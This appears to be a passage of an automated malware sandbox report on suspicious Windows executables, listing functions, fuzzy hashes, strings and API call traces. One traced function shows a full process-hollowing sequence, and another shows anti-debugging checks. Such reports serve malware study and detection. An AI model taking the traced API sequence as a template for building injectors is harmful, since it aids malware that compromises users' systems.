Opcode Fuzzy Hash: 8c699c5504b0b7b0d255824332958cfe27536c5fcec58e0a1b85cf16c048128f
Instruction Fuzzy Hash: 48F0D470D14248EFDB45DFA9940579EBBF4EF48605F0092A98A08D3210E7708A858F11

Function 015FFCE8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda83c109a4551769c7343c829927ee70913c743866d4da686a5388f2ff81cfa
Instruction ID: 87bc321a6f1ce16bd922fb843d6c84770c9700272daefefa00e6f0f50a40671c
Opcode Fuzzy Hash: fda83c109a4551769c7343c829927ee70913c743866d4da686a5388f2ff81cfa
Instruction Fuzzy Hash: 80E061372092146BCF090F39D4109FEBFA5EF89221704805FF915CA140CA318911D261

Function 018FCF03 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29f6e2b28aae2c7bde797ec7069b7ab9f12d0aa7c93a41798f79b6b3d47f77b1
Instruction ID: 973b29061194b0accb7d49b834fc8b623d2278a67c12cdd31fc1af240c8b2672
Opcode Fuzzy Hash: 29f6e2b28aae2c7bde797ec7069b7ab9f12d0aa7c93a41798f79b6b3d47f77b1
Instruction Fuzzy Hash: 74F0B774901258CFD714CF9AD548FCABBF1EB04745F049299E508AB211D7749E85CF91

Function 018FD2EF Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c42763ed00427d29b6235fa48e2c089e5472fc4f618fb5de9b536800830cd7
Instruction ID: 666ffeb1827f8cfa30e23c29a56a23139170d5a991e61ae21ec6df0e4d140613
Opcode Fuzzy Hash: d8c42763ed00427d29b6235fa48e2c089e5472fc4f618fb5de9b536800830cd7
Instruction Fuzzy Hash: 65E0E570D25208EFCB94DFB9D4467ADBFB4EB08205F0092A9CA08E3200E6308A44CF10

Non-executed Functions

Function 018F9F17 Relevance: 99.9, Strings: 79, Instructions: 1118COMMON

Download Yara Rule

Strings

A, xrefs: 018FADE5
X, xrefs: 018FA6D5
&, xrefs: 018FA84B
u3B, xrefs: 018FA86B
9, xrefs: 018FA80F
M, xrefs: 018FA325
U, xrefs: 018FAB93
qy=B, xrefs: 018FB17F
Y, xrefs: 018FADD9
(, xrefs: 018FAC9B
B, xrefs: 018FAA95
U, xrefs: 018FA9DB
R, xrefs: 018FAF45
jbA, xrefs: 018FA6CB
E, xrefs: 018FA9D1
+, xrefs: 018FAF39
U, xrefs: 018FAC75
.@2A, xrefs: 018FAA39
b, xrefs: 018FA145
P, xrefs: 018FA725
;, xrefs: 018FAFF5
<, xrefs: 018FA202
9, xrefs: 018FAEFF
;, xrefs: 018FA1D0
kB, xrefs: 018FA419
fdq^, xrefs: 018F9F71
, xrefs: 018FA953
^, xrefs: 018FA695
Q, xrefs: 018FA903
H, xrefs: 018FA35F
>, xrefs: 018FA15E
,, xrefs: 018FA7E5
), xrefs: 018FA987
c, xrefs: 018FB063
>, xrefs: 018FAB11
., xrefs: 018FA197
A{LB, xrefs: 018FA219
, xrefs: 018FA44F
0, xrefs: 018FA9FB
V, xrefs: 018FA251
G, xrefs: 018FACFD
=, xrefs: 018FAF2D
5, xrefs: 018FAD15
jA, xrefs: 018FA293
[, xrefs: 018FA7D1
:, xrefs: 018FA537
<, xrefs: 018FA7DB
9, xrefs: 018FA2A7
K, xrefs: 018FB161
G, xrefs: 018FA5C7
:, xrefs: 018FA445
, xrefs: 018FA58F
J, xrefs: 018FA469
2, xrefs: 018FAA6D
O, xrefs: 018FA567
@, xrefs: 018FA1FB
I, xrefs: 018FB143
%, xrefs: 018FA4D3
P, xrefs: 018FA33F
%, xrefs: 018FA289
I, xrefs: 018FA3BD
1, xrefs: 018FAE19
b, xrefs: 018FA349
;, xrefs: 018FAA17
%, xrefs: 018FB00D
G, xrefs: 018FA9F1
G, xrefs: 018FAB3D
/, xrefs: 018FA373
T, xrefs: 018FB001
,, xrefs: 018FA4F3
G, xrefs: 018FA90D
-, xrefs: 018FA220
@, xrefs: 018FA8E7
A, xrefs: 018FA551
>, xrefs: 018FA855
T, xrefs: 018FAF79
Z, xrefs: 018FA99D
G, xrefs: 018FB06F
L, xrefs: 018FA7EF

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: $ $ $%$%$%$&$($)$+$,$,$-$.$.@2A$/$0$1$2$5$9$9$9$:$:$;$;$;$<$<$=$>$>$>$@$@$A$A$A{LB$B$E$G$G$G$G$G$G$H$I$I$J$K$L$M$O$P$P$Q$R$T$T$U$U$U$V$X$Y$Z$[$^$b$b$c$fdq^$jbA$qy=B$jA$u3B$kB
API String ID: 0-3521570087
Opcode ID: e0e30221ac1f6cb5a010b090de98d68d2b01d3b913e4f4bb2fcc03bb48487847
Instruction ID: dd162776eb77169fdf5355679231447d56a9a273dbaa0f633627fa54d8baf8fb
Opcode Fuzzy Hash: e0e30221ac1f6cb5a010b090de98d68d2b01d3b913e4f4bb2fcc03bb48487847
Instruction Fuzzy Hash: 6AC2D2B4D456698FDB64DF29DD4079ABBF1FB89305F00A1EA940CB7241E7798E848F08

Function 018F863F Relevance: 78.6, Strings: 62, Instructions: 1094COMMON

Download Yara Rule

Strings

`, xrefs: 018F905F
A, xrefs: 018F93A9
U, xrefs: 018F8D55
0, xrefs: 018F8772
5, xrefs: 018F8DE5
5, xrefs: 018F972D
W, xrefs: 018F8DEF
R, xrefs: 018F8C89
>, xrefs: 018F9699
D, xrefs: 018F8D2F
:, xrefs: 018F9093
O, xrefs: 018F876B
8, xrefs: 018F9185
=, xrefs: 018F8856
P, xrefs: 018F9739
', xrefs: 018F8A25
a, xrefs: 018F8CA7
W, xrefs: 018F890F
/, xrefs: 018F88A1
3, xrefs: 018F9223
%, xrefs: 018F894D
$, xrefs: 018F9521
b, xrefs: 018F8939
A, xrefs: 018F88C5
?, xrefs: 018F9721
>, xrefs: 018F89D3
E, xrefs: 018F8E39
a, xrefs: 018F96E3
+, xrefs: 018F9263
M, xrefs: 018F8E03
R, xrefs: 018F9131
/, xrefs: 018F8A6D
/, xrefs: 018F8EC5
R, xrefs: 018F932B
", xrefs: 018F8CD3
OwaB, xrefs: 018F931F
3, xrefs: 018F8AEB
Q, xrefs: 018F9545
c, xrefs: 018F909D
2, xrefs: 018F87C6
6, xrefs: 018F8897
!, xrefs: 018F8797
1, xrefs: 018F8EDB
/, xrefs: 018F8CC1
,, xrefs: 018F94A5
K, xrefs: 018F8925
?, xrefs: 018F9457
b, xrefs: 018F8C5F
@, xrefs: 018F89C9
3, xrefs: 018F8B69
;, xrefs: 018F88FD
?, xrefs: 018F8F33
<, xrefs: 018F888D
U, xrefs: 018F915F
URB, xrefs: 018F8E85
V, xrefs: 018F8B13
*, xrefs: 018F91B5
B, xrefs: 018F9409
7, xrefs: 018F8DF9
R, xrefs: 018F8A1B
J, xrefs: 018F96D7
!B&B, xrefs: 018F8E19

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: 4d1fdb055aaaf40c80c2ab2e109d280daa2a0cf61cbd71c297ddee133320a994
Instruction ID: bc3a913e5f03157a8bfa519e842c77e9067d33b3124bafe3b9f4b6d159a80d84
Opcode Fuzzy Hash: 4d1fdb055aaaf40c80c2ab2e109d280daa2a0cf61cbd71c297ddee133320a994
Instruction Fuzzy Hash: 7AC2A2B4D456298FDB64DF2ADD4479ABBF6FB89301F00A1E9940CB7250E7798E818F04

Function 05CE2FDC Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

X$c{, xrefs: 05CE31C5
UUUU, xrefs: 05CE3017
UUUU, xrefs: 05CE30E1

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: UUUU$UUUU$X$c{
API String ID: 0-153604399
Opcode ID: 251023e2208ff821d1290bf2cb9f9a2e633c30939acbc516719d4ac243e5f2b9
Instruction ID: 735636eedba890a884dc33d5e6c068820977bc221b816240e32048e88dd68509
Opcode Fuzzy Hash: 251023e2208ff821d1290bf2cb9f9a2e633c30939acbc516719d4ac243e5f2b9
Instruction Fuzzy Hash: 1E818071E102289FDB64CFA9C981B9DFBF2BF88300F1481A9E54CE7245D734AA858F01

Function 018FD340 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2854faf74ee9dafea210b2499c692cd513de3f1217a9d91069dfdc8aff780ff0
Instruction ID: 2400f31f9f852a517947a5c60a25d220cb57e16d0fffa87f86863a7050224426
Opcode Fuzzy Hash: 2854faf74ee9dafea210b2499c692cd513de3f1217a9d91069dfdc8aff780ff0
Instruction Fuzzy Hash: 12512D70911249CFDB88EFBAE84079EBFF2FB88304F009529D104AB269EB745945CB60

Function 018FD350 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8039c74aced0c534913da9081a4dfb0b48c2842b362f145493c48e65fd9dad3
Instruction ID: ee21c99b9c5c210cbb3ed3b05da1f414af1c937902f74c5886332b3804dcb8ce
Opcode Fuzzy Hash: d8039c74aced0c534913da9081a4dfb0b48c2842b362f145493c48e65fd9dad3
Instruction Fuzzy Hash: 58512D70911649CBDB88EFBAE84079EBFF2FF88305F009529D104AB269EB745945CB61

Analysis Process: MrBEu6cm6HagE9yrmXV8x4AG.exePID: 6096, Parent PID: 4032COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	29.2%
Signature Coverage:	37.7%
Total number of Nodes:	130
Total number of Limit Nodes:	19

Executed Functions

Function 004A4C54 Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 270
librarywindowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FillConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,?), ref: 004A4CB1
lstrcatW.KERNEL32(?,00000000), ref: 004A4D04
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004A4D10
LoadIconW.USER32(00000000,00000000), ref: 004A4D18
LocalShrink.KERNEL32(00000000,00000000), ref: 004A4D20
FindAtomW.KERNEL32(00000000), ref: 004A4D27
DeleteAtom.KERNEL32(00000000), ref: 004A4D2E
GetConsoleSelectionInfo.KERNEL32(00000000), ref: 004A4D35
_memset.LIBCMT ref: 004A4D47
GetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 004A4D56
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 004A4D60
ReadConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 004A4D91
WaitForDebugEvent.KERNEL32(00000000,00000000), ref: 004A4D99
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 004A4DA2
TryEnterCriticalSection.KERNEL32(?), ref: 004A4DB6
LoadLibraryA.KERNEL32(00000000), ref: 004A4DCC
LoadLibraryA.KERNEL32(00000000), ref: 004A4DCF

Part of subcall function 004011FC: __wcstoi64.LIBCMT ref: 00401208

GetDateFormatA.KERNELBASE(00000000,00000000,?,00000000,?,00000000), ref: 004A4E02
GetLastError.KERNEL32 ref: 004A4E08
GetSystemTimes.KERNEL32(?,?,?), ref: 004A4E1D
FoldStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 004A4E43
GetConsoleAliasesLengthA.KERNEL32(00000000,?,?,?), ref: 004A4E63
GetNamedPipeHandleStateA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004A4E87
GetComputerNameA.KERNEL32(00000000,00000000), ref: 004A4E8F
GetFileAttributesW.KERNEL32(00000000), ref: 004A4E96
GetBinaryTypeA.KERNEL32(00000000,00000000), ref: 004A4E9E
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004A4EB2
_malloc.LIBCMT ref: 004A4EB9
_malloc.LIBCMT ref: 004A4EBF
_mbrtowc.LIBCMT ref: 004A4ECE
_calloc.LIBCMT ref: 004A4ED5
LocalAlloc.KERNELBASE(00000000,?,?,?), ref: 004A4EEA
LoadLibraryA.KERNELBASE(msimg32.dll), ref: 004A4F2D
GlobalFlags.KERNEL32(00000000), ref: 004A4F49
GetFileType.KERNEL32(00000000), ref: 004A4F50
InterlockedDecrement.KERNEL32(?), ref: 004A4F71

Strings

msimg32.dll, xrefs: 004A4F28
}$, xrefs: 004A4F78
k`, xrefs: 004A4F56

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: ConsoleLoad$Library$AtomDateFileFormatInterlockedLocalOutputType_malloc$AliasesAllocAttributesBinaryCharacterCommComputerConfigCriticalDebugDecrementDefaultDeleteEnterEnumErrorEventExceptionExchangeFillFindFlagsFoldFormatsGlobalHandleIconInfoLastLengthMessageNameNamedPipeRaiseReadSectionSelectionShrinkStateStringSystemTimesWait__wcstoi64_calloc_mbrtowc_memsetlstrcat
String ID: k`$msimg32.dll$}$
API String ID: 3101043212-3790566034
Opcode ID: 5791d8215d3f91d16443f1dfadc125b9ac431809a146679fc14c14fc8110322c
Instruction ID: b092476a892429e5236d7ed3d915507f5ebcf53964302e693ca48d81e64aed05
Opcode Fuzzy Hash: 5791d8215d3f91d16443f1dfadc125b9ac431809a146679fc14c14fc8110322c
Instruction Fuzzy Hash: DC916D7240AA20AFD711AB61ED4889F7FACFFDB314B01053AF64596120C7789605CBEE

Function 02200110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02200156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0220016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02200255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02200270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02200283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0220029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022002C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022002E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02200304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0220032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02200399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022003BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022003E1
ResumeThread.KERNELBASE(00000000), ref: 022003ED
ExitProcess.KERNEL32(00000000), ref: 02200412

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a0202c892e271ddaadd819177e27cc7667e59549a2e955665cfeb448d6d2d049
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: DAB1C774A00209AFDB44CF98C895F9EBBB5FF88314F248158E909AB395D771AE41CF94

Function 0216B7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0216B7EE
Module32First.KERNEL32(00000000,00000224), ref: 0216B80E

Memory Dump Source

Source File: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0216B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216b000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0a48d8e32cd4fbe898a93b0b7f6439944b13f4b1d2cbc28169ffcfe6008b9343
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 5FF096312407116FD7203BF5A88DB7E76ECEF4966DF100538E643E24C0DB70E9558A61

Function 02200420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02200533

Strings

saodkfnosa9uin, xrefs: 022004DA
mfoaskdfnoa, xrefs: 02200520, 02200523
0, xrefs: 02200492
d, xrefs: 02200584

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d8829cd6177f25979f7e3edf2faa6696e199d7691e64dd719d2d3703a242faad
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 51511870D08388DAEB11CBE8C849BDDBFB2AF15708F144058D5447F2CAC7BA5658CB66

Function 022005B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022005EC

Strings

apfHQ, xrefs: 022005E2, 022005E5
o, xrefs: 02200600

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1269166bd6169578eed2a0d7dce0904b5e1d185ace077e74280f4cd1b2785b29
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: CF011E70C0425DEAEB10DBD8C5583EEBFB5AF41308F188099C4092B282D7B69B58CBA1

Function 004018E3 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 004018F8

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e0ae348e57a1640f56999969388b7f3a75df213f05cb8d9c57eb372c2ca0b7c0
Instruction ID: 0521dfff21353c82e6d8bb3565faade79993b3ce62176af17b15262ef703f01f
Opcode Fuzzy Hash: e0ae348e57a1640f56999969388b7f3a75df213f05cb8d9c57eb372c2ca0b7c0
Instruction Fuzzy Hash: 49D0A7765543099FEB005F70BD097263FDCE784795F11443AB80CC6190F5B4D950C658

Function 004A4AF9 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 004A4B0F

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 80cfd3fad95082e6780993ff03abba3a954a7b3543cb466057069dbc5f75cd08
Instruction ID: fc6120e5f8c29d800887ade1f0fae858c54a7ae38f9f56ae3dcdcb0239f94a04
Opcode Fuzzy Hash: 80cfd3fad95082e6780993ff03abba3a954a7b3543cb466057069dbc5f75cd08
Instruction Fuzzy Hash: DCC012B2100108BBDA018B81ED01E493BACA309204B010120AA02A1460C275A900AB68

Function 0216B485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0216B4D6

Memory Dump Source

Source File: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0216B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216b000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 27e71648c6d0dd0d8924fbfb14da4480cb4b4b6c71ea78d2bcf70ce2b4210995
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A4113C79A40208EFDB01DF98C989E9DBBF5AF08351F058094F948AB361D371EA90DF80

Non-executed Functions

Function 00401006 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00401843
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00401858
UnhandledExceptionFilter.KERNEL32(004A51A4), ref: 00401863
GetCurrentProcess.KERNEL32(C0000409), ref: 0040187F
TerminateProcess.KERNEL32(00000000), ref: 00401886

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 313e26b37b6aad3856cce21f4f68d9930ca37da32529b455288ead154de7cfcb
Instruction ID: 77f385502be5376345618d709b9d90bf989298676451deb14fbc0e8ef9620649
Opcode Fuzzy Hash: 313e26b37b6aad3856cce21f4f68d9930ca37da32529b455288ead154de7cfcb
Instruction Fuzzy Hash: 3521C9B8C05244AFD754DF29EE846483FE4FB1A354F90443EE908972B0EBB459868F4E

Function 004070B1 Relevance: 1.5, APIs: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,00000001,?,?,?,?,?,?), ref: 004070D5

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5faa10b47f60b665d7ebce3cb119823e71116df984a4b0d70eafbf0d05adf920
Instruction ID: c3555afdbd9e49c5ee7ef628b92b8580283ce001db98aa8b56ca0ecc3d199398
Opcode Fuzzy Hash: 5faa10b47f60b665d7ebce3cb119823e71116df984a4b0d70eafbf0d05adf920
Instruction Fuzzy Hash: F9F0E530E0824CBADB00DBA5C905B9E7BA99B08318F10427AF611EA1D0DA74D604974A

Function 00404345 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00004303), ref: 0040434A

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

